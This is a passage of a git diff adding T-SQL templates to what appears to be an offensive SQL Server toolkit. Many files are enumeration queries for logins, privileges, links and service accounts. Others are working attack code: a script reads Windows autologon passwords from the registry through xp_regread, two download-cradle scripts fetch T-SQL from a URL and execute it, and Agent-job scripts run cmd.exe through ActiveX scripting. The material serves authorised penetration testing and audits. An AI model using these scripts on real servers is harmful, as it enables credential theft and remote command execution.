AS a +JOIN sys.server_audit_specifications AS s +ON a.audit_guid = s.audit_guid +JOIN sys.server_audit_specification_details AS d +ON s.server_specification_id = d.server_specification_id diff --git a/templates/tsql/Get-ServerCertLogin.sql b/templates/tsql/Get-ServerCertLogin.sql new file mode 100644 index 0000000..b9c6ad0 --- /dev/null +++ b/templates/tsql/Get-ServerCertLogin.sql @@ -0,0 +1,8 @@ +-- Script: Get-ServerCertLogin.sql +-- Description: Return a list of server logins created from a certificate. +-- Reference: https://msdn.microsoft.com/en-us/library/ms188786.aspx + +SELECT * +FROM [sys].[server_principals] +WHERE type = 'C' + \ No newline at end of file diff --git a/templates/tsql/Get-ServerConfiguration.sql b/templates/tsql/Get-ServerConfiguration.sql new file mode 100644 index 0000000..539c515 --- /dev/null +++ b/templates/tsql/Get-ServerConfiguration.sql @@ -0,0 +1,5 @@ +-- Script: Get-ServerConfiguration.sql +-- Description: Return list of server configurations. +-- Reference: https://msdn.microsoft.com/en-us/library/ms188345.aspx + +SELECT * FROM [sys].[configurations] \ No newline at end of file diff --git a/templates/tsql/Get-ServerLink.sql b/templates/tsql/Get-ServerLink.sql new file mode 100644 index 0000000..f7f0551 --- /dev/null +++ b/templates/tsql/Get-ServerLink.sql @@ -0,0 +1,40 @@ +-- Script: Get-ServerLink.sql +-- Decription: Return a list of SQL Server links and their properties. +-- Reference: https://msdn.microsoft.com/en-us/library/ms178530.aspx +-- Note: Use open query or four part names to query links + +SELECT a.server_id, + a.name AS [DATABASE_LINK_NAME], + CASE a.Server_id + WHEN 0 + THEN 'Current' + ELSE 'Remote' + END AS [DATABASE_LINK_LOCATION], + a.product, + a.provider, + a.catalog, + 'Local Login ' = CASE b.uses_self_credential + WHEN 1 THEN 'Uses Self Credentials' + ELSE c.name + END, + b.remote_name AS [REMOTE LOGIN NAME], + a.is_rpc_out_enabled, + a.is_data_access_enabled, + a.modify_date +FROM [sys].[Servers] a +LEFT JOIN [sys].[linked_logins] b + ON a.server_id = b.server_id +LEFT JOIN [sys].[server_principals] c + ON c.principal_id = b.local_principal_id + + + + + + + + + + + + diff --git a/templates/tsql/Get-ServerLogin.sql b/templates/tsql/Get-ServerLogin.sql new file mode 100644 index 0000000..2cdec5e --- /dev/null +++ b/templates/tsql/Get-ServerLogin.sql @@ -0,0 +1,13 @@ +-- Script: Get-ServerLogin.sql +-- Description: Get list of logins for the server. To view all +-- logins the user must be a sysadmin. Unless bruteforced. +-- Reference: http://msdn.microsoft.com/en-us/library/ms345412.aspx + +SELECT name, + principal_id, + sid, + type, + type_desc, + create_date, + LOGINPROPERTY ( name , 'IsLocked' ) AS [is_locked] +FROm [sys].[server_principals] \ No newline at end of file diff --git a/templates/tsql/Get-ServerPriv.sql b/templates/tsql/Get-ServerPriv.sql new file mode 100644 index 0000000..9266f5f --- /dev/null +++ b/templates/tsql/Get-ServerPriv.sql @@ -0,0 +1,30 @@ +-- Script: Get-ServerPriv.sql +-- Description: list all server principals with their permissions on server level. +-- This Transact-SQL script list all server principals with their permissions on +-- server level to give a quick overview of security. For given permissions on +-- server object like endpoints or impersonate other login it returns also the +-- object / login etc name.Works with SQL Server 2005 and higher versions in all editions. +-- Lists only object where the executing user do have VIEW METADATA permissions for. +-- Reference: http://msdn.microsoft.com/en-us/library/ms186260.aspx +-- Note: This line below will also show full privs for sysadmin users +-- SELECT * FROM fn_my_permissions(NULL, 'SERVER'); + +SELECT GRE.name AS Grantee + ,GRO.name AS Grantor + ,PER.class_desc AS PermClass + ,PER.permission_name AS PermName + ,PER.state_desc AS PermState + ,COALESCE(PRC.name, EP.name, N'') AS ObjectName + ,COALESCE(PRC.type_desc, EP.type_desc, N'') AS ObjectType +FROM [sys].[server_permissions] AS PER + INNER JOIN sys.server_principals AS GRO + ON PER.grantor_principal_id = GRO.principal_id + INNER JOIN sys.server_principals AS GRE + ON PER.grantee_principal_id = GRE.principal_id + LEFT JOIN sys.server_principals AS PRC + ON PER.class = 101 + AND PER.major_id = PRC.principal_id + LEFT JOIN sys.endpoints AS EP + ON PER.class = 105 + AND PER.major_id = EP.endpoint_id +ORDER BY Grantee,PermName; \ No newline at end of file diff --git a/templates/tsql/Get-ServerRole.sql b/templates/tsql/Get-ServerRole.sql new file mode 100644 index 0000000..0a956c9 --- /dev/null +++ b/templates/tsql/Get-ServerRole.sql @@ -0,0 +1,18 @@ +-- Script: Get-ServerRole.sql +-- Description: Return security principals and server roles. +-- Reference: https://msdn.microsoft.com/en-us/library/ms188786.aspx + +SELECT sp.name AS LoginName, + sp.type_desc AS LoginType, + sp.default_database_name AS DefaultDBName, + slog.sysadmin AS SysAdmin, + slog.securityadmin AS SecurityAdmin, + slog.serveradmin AS ServerAdmin, + slog.setupadmin AS SetupAdmin, + slog.processadmin AS ProcessAdmin, + slog.diskadmin AS DiskAdmin, + slog.dbcreator AS DBCreator, + slog.bulkadmin AS BulkAdmin +FROM [sys].[server_principals] sp +JOIN [master].[dbo].[syslogins] slog +ON sp.sid = slog.sid \ No newline at end of file diff --git a/templates/tsql/Get-ServiceAccount.sql b/templates/tsql/Get-ServiceAccount.sql new file mode 100644 index 0000000..2a01f73 --- /dev/null +++ b/templates/tsql/Get-ServiceAccount.sql @@ -0,0 +1,86 @@ +-- Script: Get-ServiceAccount.sql +-- Description: Return the service accounts running the major database services. + +-- Setup variables +DECLARE @SQLServerInstance VARCHAR(250) +DECLARE @MSOLAPInstance VARCHAR(250) +DECLARE @ReportInstance VARCHAR(250) +DECLARE @AgentInstance VARCHAR(250) +DECLARE @IntegrationVersion VARCHAR(250) +DECLARE @DBEngineLogin VARCHAR(100) +DECLARE @AgentLogin VARCHAR(100) +DECLARE @BrowserLogin VARCHAR(100) +DECLARE @WriterLogin VARCHAR(100) +DECLARE @AnalysisLogin VARCHAR(100) +DECLARE @ReportLogin VARCHAR(100) +DECLARE @IntegrationDtsLogin VARCHAR(100) + +-- Get Service Paths for default and name instance +if @@SERVICENAME = 'MSSQLSERVER' or @@SERVICENAME = HOST_NAME() +BEGIN + -- Default instance paths + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' + set @MSOLAPInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLServerOLAPService' + set @ReportInstance = 'SYSTEM\CurrentControlSet\Services\ReportServer' + set @AgentInstance = 'SYSTEM\CurrentControlSet\Services\SQLSERVERAGENT' + set @IntegrationVersion = 'SYSTEM\CurrentControlSet\Services\MsDtsServer'+ SUBSTRING(CAST(SERVERPROPERTY('productversion') AS VARCHAR(255)),0, 3) + '0' +END +ELSE +BEGIN + -- Named instance paths + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$' + cast(@@SERVICENAME as varchar(250)) + set @MSOLAPInstance = 'SYSTEM\CurrentControlSet\Services\MSOLAP$' + cast(@@SERVICENAME as varchar(250)) + set @ReportInstance = 'SYSTEM\CurrentControlSet\Services\ReportServer$' + cast(@@SERVICENAME as varchar(250)) + set @AgentInstance = 'SYSTEM\CurrentControlSet\Services\SQLAgent$' + cast(@@SERVICENAME as varchar(250)) + set @IntegrationVersion = 'SYSTEM\CurrentControlSet\Services\MsDtsServer'+ SUBSTRING(CAST(SERVERPROPERTY('productversion') AS VARCHAR(255)),0, 3) + '0' +END + +-- Get SQL Server - Calculated +EXECUTE master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', @SQLServerInstance, + N'ObjectName',@DBEngineLogin OUTPUT + +-- Get SQL Server Agent - Calculated +EXECUTE master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', @AgentInstance, + N'ObjectName',@AgentLogin OUTPUT + +-- Get SQL Server Browser - Static Location +EXECUTE master.dbo.xp_instance_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SYSTEM\CurrentControlSet\Services\SQLBrowser', + @value_name = N'ObjectName', + @value = @BrowserLogin OUTPUT + +-- Get SQL Server Writer - Static Location +EXECUTE master.dbo.xp_instance_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SYSTEM\CurrentControlSet\Services\SQLWriter', + @value_name = N'ObjectName', + @value = @WriterLogin OUTPUT + +-- Get MSOLAP - Calculated +EXECUTE master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', @MSOLAPInstance, + N'ObjectName',@AnalysisLogin OUTPUT + +-- Get Reporting - Calculated +EXECUTE master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', @ReportInstance, + N'ObjectName',@ReportLogin OUTPUT + +-- Get SQL Server DTS Server / Analysis - Calulated +EXECUTE master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', @IntegrationVersion, + N'ObjectName',@IntegrationDtsLogin OUTPUT + +-- Dislpay results +SELECT [DBEngineLogin] = @DBEngineLogin, + [BrowserLogin] = @BrowserLogin, + [AgentLogin] = @AgentLogin, + [WriterLogin] = @WriterLogin, + [AnalysisLogin] = @AnalysisLogin, + [ReportLogin] = @ReportLogin, + [IntegrationLogin] = @IntegrationDtsLogin +GO + diff --git a/templates/tsql/Get-Session.sql b/templates/tsql/Get-Session.sql new file mode 100644 index 0000000..d04165a --- /dev/null +++ b/templates/tsql/Get-Session.sql @@ -0,0 +1,14 @@ +-- Script: Get-Session.sql +-- Description: Get current login sessions. +-- Reference: https://msdn.microsoft.com/en-us/library/ms176013.aspx + +SELECT + status, + session_id, + login_time, + last_request_start_time, + security_id, + login_name, + original_login_name +FROM [sys].[dm_exec_sessions] +ORDER BY status \ No newline at end of file diff --git a/templates/tsql/Get-SqlLogin2PrincipalID.sql b/templates/tsql/Get-SqlLogin2PrincipalID.sql new file mode 100644 index 0000000..e070ad8 --- /dev/null +++ b/templates/tsql/Get-SqlLogin2PrincipalID.sql @@ -0,0 +1,10 @@ +-- Script: Get-SqlLogin2PrincipalId.sql +-- Description: Example showing how to get the principal id for a +-- for a give sql server login. +-- Reference: https://msdn.microsoft.com/en-us/library/ms179889.aspx + +SELECT SUSER_NAME(1) +SELECT SUSER_NAME(2) +SELECT SUSER_NAME(3) +SELECT SUSER_NAME(4) +SELECT SUSER_NAME(5) diff --git a/templates/tsql/Get-Table.sql b/templates/tsql/Get-Table.sql new file mode 100644 index 0000000..de35c94 --- /dev/null +++ b/templates/tsql/Get-Table.sql @@ -0,0 +1,8 @@ +-- Script: Get-Table.sql +-- Description: Returns a list of tables for the current database. +-- Reference: https://msdn.microsoft.com/en-us/library/ms186224.aspx + +SELECT TABLE_CATALOG AS [DATABASE_NAME], + TABLE_SCHEMA AS [SCHEMA_NAME], + TABLE_NAME,TABLE_TYPE +FROM [INFORMATION_SCHEMA].[TABLES] \ No newline at end of file diff --git a/templates/tsql/Get-TablePriv.sql b/templates/tsql/Get-TablePriv.sql new file mode 100644 index 0000000..0d46388 --- /dev/null +++ b/templates/tsql/Get-TablePriv.sql @@ -0,0 +1,13 @@ +-- Script: Get-TablePriv.sql +-- Description: Returns a list of explicit table privileges for the +-- current database. +-- Reference: https://msdn.microsoft.com/en-us/library/ms186233.aspx + +SELECT GRANTOR, + GRANTEE, + TABLE_CATALOG AS [DATABASE_NAME], + TABLE_SCHEMA AS [SCHEMA_NAME], + TABLE_NAME, + PRIVILEGE_TYPE, + IS_GRANTABLE +FROM [INFORMATION_SCHEMA].[TABLE_PRIVILEGES] \ No newline at end of file diff --git a/templates/tsql/Get-TempObject.sql b/templates/tsql/Get-TempObject.sql new file mode 100644 index 0000000..29de25c --- /dev/null +++ b/templates/tsql/Get-TempObject.sql @@ -0,0 +1,5 @@ +-- Script: Get-TempObject.sql +-- Description: Return list of object in the tempdb database. +-- Reference: https://technet.microsoft.com/en-us/library/ms186986%28v=sql.105%29.aspx + +SELECT * FROM [tempdb].[sys].[objects] \ No newline at end of file diff --git a/templates/tsql/Get-TriggerDDL.sql b/templates/tsql/Get-TriggerDDL.sql new file mode 100644 index 0000000..e9c0e19 --- /dev/null +++ b/templates/tsql/Get-TriggerDDL.sql @@ -0,0 +1,13 @@ +-- Script: Get-TriggerDDL.sql +-- Description: Return list of DDL triggers at the server level. +-- This must be run with the master database select to get the trigger definition. + +SELECT name, + OBJECT_DEFINITION(OBJECT_ID) as trigger_definition, + parent_class_desc, + create_date, + modify_date, + is_ms_shipped, + is_disabled +FROM sys.server_triggers + diff --git a/templates/tsql/Get-TriggerDML.sql b/templates/tsql/Get-TriggerDML.sql new file mode 100644 index 0000000..b2d5c78 --- /dev/null +++ b/templates/tsql/Get-TriggerDML.sql @@ -0,0 +1,26 @@ +-- Script: Get-TriggerDML.sql +-- Return list of DML triggers at the database level for the current database. + +SELECT @@SERVERNAME as server_name, + (SELECT TOP 1 SCHEMA_NAME(schema_id)FROM sys.objects WHERE type ='tr' and object_id like object_id ) as schema_id , + DB_NAME() as database_name, + OBJECT_NAME(parent_id) as parent_name, + OBJECT_NAME(object_id) as trigger_name, + OBJECT_DEFINITION(object_id) as trigger_definition, + OBJECT_ID, + create_date, + modify_date, + CASE OBJECTPROPERTY(object_id, 'ExecIsTriggerDisabled') + WHEN 1 THEN 'Disabled' + ELSE 'Enabled' + END AS status, + OBJECTPROPERTY(object_id, 'ExecIsUpdateTrigger') AS isupdate , + OBJECTPROPERTY(object_id, 'ExecIsDeleteTrigger') AS isdelete , + OBJECTPROPERTY(object_id, 'ExecIsInsertTrigger') AS isinsert , + OBJECTPROPERTY(object_id, 'ExecIsAfterTrigger') AS isafter , + OBJECTPROPERTY(object_id, 'ExecIsInsteadOfTrigger') AS isinsteadof , + is_ms_shipped, + is_not_for_replication +FROM sys.triggers + + diff --git a/templates/tsql/Get-TriggerEventType.sql b/templates/tsql/Get-TriggerEventType.sql new file mode 100644 index 0000000..a8e22f4 --- /dev/null +++ b/templates/tsql/Get-TriggerEventType.sql @@ -0,0 +1,8 @@ +-- Script: Get-TriggerEventType.sql +-- Requirements: Sysadmin or required SELECT privileges. +-- Description: Returns trigger event types. +-- Reference: https://msdn.microsoft.com/en-us/library/bb522542.aspx + +SELECT * +FROM sys.trigger_event_types +ORDER BY TYPE_NAME diff --git a/templates/tsql/Get-TriggerEventTypes.sql b/templates/tsql/Get-TriggerEventTypes.sql new file mode 100644 index 0000000..ba86c7e --- /dev/null +++ b/templates/tsql/Get-TriggerEventTypes.sql @@ -0,0 +1,8 @@ +-- Script: Get-TriggerEventTypes.sql +-- Requirements: Sysadmin or required SELECT privileges. +-- Description: Returns DDL event trigger types. +-- Reference: https://msdn.microsoft.com/en-us/library/bb510452.aspx +-- Reference: https://msdn.microsoft.com/en-us/library/bb522542.aspx +-- REference: https://msdn.microsoft.com/en-us/library/bb510453.aspx + +SELECT * FROM sys.trigger_event_types diff --git a/templates/tsql/Get-Version.sql b/templates/tsql/Get-Version.sql new file mode 100644 index 0000000..b9c86f4 --- /dev/null +++ b/templates/tsql/Get-Version.sql @@ -0,0 +1,30 @@ +-- Description: Return SQL Server and OS version information. +-- Reference: https://msdn.microsoft.com/en-us/library/ms174396.aspx + +-- Get machine type +DECLARE @MachineType SYSNAME +EXECUTE master.dbo.xp_regread +@rootkey = N'HKEY_LOCAL_MACHINE', +@key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', +@value_name = N'ProductType', +@value = @MachineType output + +-- Get listening port +Declare @PortNumber varchar(20) +EXECUTE master..xp_regread +@rootkey = 'HKEY_LOCAL_MACHINE', +@key = 'SOFTWARE\MICROSOFT\MSSQLServer\MSSQLServer\Supersocketnetlib\TCP', +@value_name = 'Tcpport', +@value = @PortNumber OUTPUT + +-- Return server and version information +SELECT @@servername AS [SERVER_INSTANCE], + @PortNumber AS [TCP_PORT], + DEFAULT_DOMAIN() AS [DEFAULT_DOMAIN], + SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) AS [MAJOR_VERSION], + serverproperty('Edition') AS [VERSION_EDITION], + SERVERPROPERTY('ProductLevel') AS [PRODUCT_LEVEL], + SERVERPROPERTY('productversion') AS [VERSION_NUMBER], + SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) AS [ARCHITECTURE], + @MachineType as [OS_MACHINE_TYPE], + RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) AS [OS_VERSION_NUMBER] \ No newline at end of file diff --git a/templates/tsql/Get-View.sql b/templates/tsql/Get-View.sql new file mode 100644 index 0000000..c9f6195 --- /dev/null +++ b/templates/tsql/Get-View.sql @@ -0,0 +1,12 @@ +-- Script: Get-View.sql +-- Description: This script returns a list of view +-- from the current database. +-- Reference: https://msdn.microsoft.com/en-us/library/ms186778.aspx + +SELECT TABLE_CATALOG AS [DATABASE_NAME], + TABLE_SCHEMA AS [SCHEMA_NAME], + TABLE_NAME, + VIEW_DEFINITION, + IS_UPDATABLE +FROM [INFORMATION_SCHEMA].[VIEWS] +ORDER BY DATABASE_NAME,SCHEMA_NAME,TABLE_NAME \ No newline at end of file diff --git a/templates/tsql/Get-WinAccount2SID.sql b/templates/tsql/Get-WinAccount2SID.sql new file mode 100644 index 0000000..b00734b --- /dev/null +++ b/templates/tsql/Get-WinAccount2SID.sql @@ -0,0 +1,10 @@ +-- Script: Get-WinAccount2SID.sql +-- Description: Example showing how to get the SID of +-- of a supplied domain user or group. Note that the SID is hex encoded. +-- Reference: https://msdn.microsoft.com/en-us/library/ms179889.aspx + +DECLARE @DOMAIN_ADMINISTRATOR varchar(100) +DECLARE @CMD varchar(100) +SET @DOMAIN_ADMINISTRATOR = default_domain() + '\Domain Admins' +SET @CMD = 'select SUSER_SID(''' + @DOMAIN_ADMINISTRATOR + ''')' +EXEC(@CMD) diff --git a/templates/tsql/Get-WinAutoRunPw.tsql b/templates/tsql/Get-WinAutoRunPw.tsql new file mode 100644 index 0000000..3e65279 --- /dev/null +++ b/templates/tsql/Get-WinAutoRunPw.tsql @@ -0,0 +1,66 @@ +-- Get the Windows auto login credentials through SQL Server using xp_regread +-- Requirements +-- 2014 or later = sysadmin +-- 2000 to 2012 = public role with execute privs on xp_regread (default) + +------------------------------------------------------------------------- +-- Get Windows Auto Login Credentials from the Registry +------------------------------------------------------------------------- + +-- Get AutoLogin Default Domain +DECLARE @AutoLoginDomain SYSNAME +EXECUTE master.dbo.xp_regread +@rootkey = N'HKEY_LOCAL_MACHINE', +@key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', +@value_name = N'DefaultDomainName', +@value = @AutoLoginDomain output + +-- Get AutoLogin DefaultUsername +DECLARE @AutoLoginUser SYSNAME +EXECUTE master.dbo.xp_regread +@rootkey = N'HKEY_LOCAL_MACHINE', +@key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', +@value_name = N'DefaultUserName', +@value = @AutoLoginUser output + +-- Get AutoLogin DefaultUsername +DECLARE @AutoLoginPassword SYSNAME +EXECUTE master.dbo.xp_regread +@rootkey = N'HKEY_LOCAL_MACHINE', +@key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', +@value_name = N'DefaultPassword', +@value = @AutoLoginPassword output + +-- Display Results +SELECT @AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword + +------------------------------------------------------------------------- +-- Get Alternative Windows Auto Login Credentials from the Registry +------------------------------------------------------------------------- + +-- Get Alt AutoLogin Default Domain +DECLARE @AltAutoLoginDomain SYSNAME +EXECUTE master.dbo.xp_regread +@rootkey = N'HKEY_LOCAL_MACHINE', +@key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', +@value_name = N'AltDefaultDomainName', +@value = @AltAutoLoginDomain output + +-- Get Alt AutoLogin DefaultUsername +DECLARE @AltAutoLoginUser SYSNAME +EXECUTE master.dbo.xp_regread +@rootkey = N'HKEY_LOCAL_MACHINE', +@key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', +@value_name = N'AltDefaultUserName', +@value = @AltAutoLoginUser output + +-- Get Alt AutoLogin DefaultUsername +DECLARE @AltAutoLoginPassword SYSNAME +EXECUTE master.dbo.xp_regread +@rootkey = N'HKEY_LOCAL_MACHINE', +@key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', +@value_name = N'AltDefaultPassword', +@value = @AltAutoLoginPassword output + +-- Display Results +SELECT @AltAutoLoginDomain, @AltAutoLoginUser, @AltAutoLoginPassword diff --git a/templates/tsql/download_cradle_tsql_oap.sql b/templates/tsql/download_cradle_tsql_oap.sql new file mode 100644 index 0000000..a5a5af6 --- /dev/null +++ b/templates/tsql/download_cradle_tsql_oap.sql @@ -0,0 +1,32 @@ +-- OLE Automation Procedure - Download Cradle Example +-- Does not require a table, but can't handle larger payloads + +-- Setup Variables +DECLARE @url varchar(300) +DECLARE @WinHTTP int +DECLARE @handle int +DECLARE @Command varchar(8000) + +-- Set target url containting TSQL +SET @url = 'http://127.0.0.1/mycmd.txt' + +-- Setup namespace +EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT + +-- Call the Open method to setup the HTTP request +EXEC @handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false' + +-- Call the Send method to send the HTTP GET request +EXEC @handle=sp_OAMethod @WinHTTP,'Send' + +-- Capture the HTTP response content +EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText', @Command out + +-- Destroy the object +EXEC @handle=sp_OADestroy @WinHTTP + +-- Display command +SELECT @Command + +-- Run command +EXECUTE (@Command) diff --git a/templates/tsql/download_cradle_tsql_oap2.sql b/templates/tsql/download_cradle_tsql_oap2.sql new file mode 100644 index 0000000..ca37ce9 --- /dev/null +++ b/templates/tsql/download_cradle_tsql_oap2.sql @@ -0,0 +1,40 @@ +-- OLE Automation Procedure - Download Cradle Example - Option 2 +-- Can handle larger payloads, but requires a table + +-- Setup Variables +DECLARE @url varchar(300) +DECLARE @WinHTTP int +DECLARE @Handle int +DECLARE @Command varchar(8000) + +-- Set target url containting TSQL +SET @url = 'http://127.0.0.1/mycmd.txt' + +-- Create temp table to store downloaded string +CREATE TABLE #text(html text NULL) + +-- Setup namespace +EXEC @Handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT + +-- Call open method to configure HTTP request +EXEC @Handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false' + +-- Call Send method to send the HTTP request +EXEC @Handle=sp_OAMethod @WinHTTP,'Send' + +-- Capture the HTTP response content +INSERT #text(html) +EXEC @Handle=sp_OAGetProperty @WinHTTP,'ResponseText' + +-- Destroy the object +EXEC @Handle=sp_OADestroy @WinHTTP + +-- Display the commad +SELECT @Command = html from #text +SELECT @Command + +-- Run the command +EXECUTE (@Command) + +-- Remove temp table +DROP TABLE #text diff --git a/templates/tsql/oscmdexec_agentjob_activex_jscript.sql b/templates/tsql/oscmdexec_agentjob_activex_jscript.sql new file mode 100644 index 0000000..c506c7d --- /dev/null +++ b/templates/tsql/oscmdexec_agentjob_activex_jscript.sql @@ -0,0 +1,80 @@ +USE [msdb] +GO + +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT] Script Date: 8/29/2017 11:17:16 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 11:17:16 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +DECLARE @user varchar(8000) +SET @user = SYSTEM_USER +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=1, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=@user, @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [RUN COMMAND - ActiveX: JSCRIPT] Script Date: 8/29/2017 11:17:16 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: JSCRIPT', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'ActiveScripting', + @command=N'function RunCmd() +{ + var objShell = new ActiveXObject("shell.application"); + objShell.ShellExecute("cmd.exe", "/c echo hello > c:\\windows\\temp\\blah.txt", "", "open", 0); + } + +RunCmd(); +', +/** alternative option + @command=N'function RunCmd() + { + var WshShell = new ActiveXObject("WScript.Shell"); + var oExec = WshShell.Exec("c:\\windows\\system32\\cmd.exe /c echo hello > c:\\windows\\temp\\blah.txt"); + oExec = null; + WshShell = null; + } + + RunCmd(); + ', + +**/ + @database_name=N'JavaScript', + @flags=0 + --,@proxy_name=N'WinUser1' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + + +use msdb +EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT' ; diff --git a/templates/tsql/oscmdexec_agentjob_activex_vbscript.sql b/templates/tsql/oscmdexec_agentjob_activex_vbscript.sql new file mode 100644 index 0000000..ad33b14 --- /dev/null +++ b/templates/tsql/oscmdexec_agentjob_activex_vbscript.sql @@ -0,0 +1,66 @@ +USE [msdb] +GO + +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT] Script Date: 8/29/2017 10:27:36 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 10:27:36 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +DECLARE @user varchar(8000) +SET @user = SYSTEM_USER +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=1, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=@user, @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [RUN COMMAND - ActiveX: VBSCRIPT] Script Date: 8/29/2017 10:27:36 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: VBSCRIPT', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'ActiveScripting', + @command=N'FUNCTION Main() + +dim shell +set shell= CreateObject ("WScript.Shell") +shell.run("c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt") +set shell = nothing + +END FUNCTION', + @database_name=N'VBScript', + @flags=0 + --,@proxy_name=N'WinUser1' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + +use msdb +EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT' ; diff --git a/templates/tsql/oscmdexec_agentjob_cmdexec.sql b/templates/tsql/oscmdexec_agentjob_cmdexec.sql new file mode 100644 index 0000000..ec8629d --- /dev/null +++ b/templates/tsql/oscmdexec_agentjob_cmdexec.sql @@ -0,0 +1,58 @@ +USE [msdb] +GO + +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - CMDEXEC] Script Date: 8/29/2017 11:23:50 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 11:23:50 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = 